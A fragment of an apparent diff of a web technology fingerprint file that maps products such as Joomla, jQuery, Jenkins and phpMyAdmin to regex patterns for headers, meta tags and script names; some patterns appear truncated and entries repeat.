"midas.psi.ch/elog", - "cats": [ 19 ], - "html": "<title>ELOG Logbook Selection" - }, - "ELOG HTTP": { - "website": "midas.psi.ch/elog", - "cats": [ 22 ], - "headers": { "Server": "ELOG HTTP( \\d[\\-\\d\\.]+)?\\;version:\\1" }, - "implies": "ELOG" - }, - "Eloqua": { - "website": "eloqua.com", - "cats": [ 32 ], - "script": "elqCfg\\.js", - "env": "^elq(?:SiteID|Load|CurESite)$" - }, - "Ember.js": { - "website": "emberjs.com", - "cats": [ 12 ], - "env": "^Ember$", - "implies": "Handlebars" - }, - "Embedthis-http": { - "website": "github.com/embedthis/http", - "cats": [ 22 ], - "headers": { "Server": "Embedthis-http(?:/([\\d.]+))?\\;version:\\1" } - }, - "E-Merchant": { - "website": "e-merchant.com", - "cats": [ 6 ], - "script": "cdn\\.e-merchant\\.com" - }, - "Enyo": { - "website": "enyojs.com", - "cats": [ 12, 26 ], - "script": "enyo\\.js", - "env": "^enyo$" - }, - "EPiServer": { - "website": "episerver.com", - "cats": [ 1 ], - "meta": { "generator": "EPiServer" }, - "headers": { "Set-Cookie": "EPi(?:Trace|Server)[^;]*=" }, - "implies": "Microsoft ASP.NET" - }, - "EPrints": { - "website": "www.eprints.org", - "cats": [ 19 ], - "meta": { "generator": "EPrints ([\\d.]+)\\;version:\\1" }, - "env": "^EPJS_menu_template$", - "implies": "Perl" - }, - "Erlang": { - "website": "www.erlang.org", - "cats": [ 27 ], - "headers": { "Server": "Erlang( OTP/([\\-\\d\\.ABR]+))?\\;version:\\1" } - }, - "eSyndiCat": { - "website": "esyndicat.com", - "cats": [ 1 ], - "meta": { "generator": "^eSyndiCat " }, - "headers": { "X-Drectory-Script": "^eSyndiCat" }, - "env": "^esyndicat$", - "implies": "PHP" - }, - "EWS-NIC4": { - "website": "dell.com", - "cats": [ 22 ], - "headers": { "Server": "EWS-NIC4(?:\\/([\\d\\.a-z]+))?\\;version:\\1" }, - "implies": "Dell" - }, - "Exhibit": { - "website": "simile-widgets.org/exhibit/", - "cats": [ 25 ], - "script": "exhibit.*\\.js", - "env": "^Exhibit$" - }, - "Express": { - "website": "expressjs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^Express$" }, - "implies": "node.js" - }, - "Koa": { - "website": "koajs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^koa$" }, - "implies": "node.js" - }, - "total.js": { - "website": "totaljs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^total\\.js" }, - "implies": "node.js" - }, - "ExpressionEngine": { - "website": "expressionengine.com", - "cats": [ 1 ], - "headers": { "Set-Cookie": "(?:exp_last_activity|exp_tracker)" }, - "implies": "PHP" - }, - "ExtJS": { - "website": "www.extjs.com", - "cats": [ 12 ], - "script": "ext-base\\.js", - "env": "^Ext$" - }, - "eZ Publish": { - "website": "ez.no", - "cats": [ 1, 6 ], - "meta": { "generator": "eZ Publish" }, - "headers": { "X-Powered-By": "^eZ Publish" }, - "implies": "PHP" - }, - "Fact Finder": { - "website": "fact-finder.com", - "cats": [ 29 ], - "html": "|" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]+\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": ".*" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": ".*", "SPRequestGuid": ".*", "SharePointHealthScore": ".*" }, - "env": "^_spBodyOnLoadCalled$" - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": ".*" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "url": "\\.pl(?:$|\\?)" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
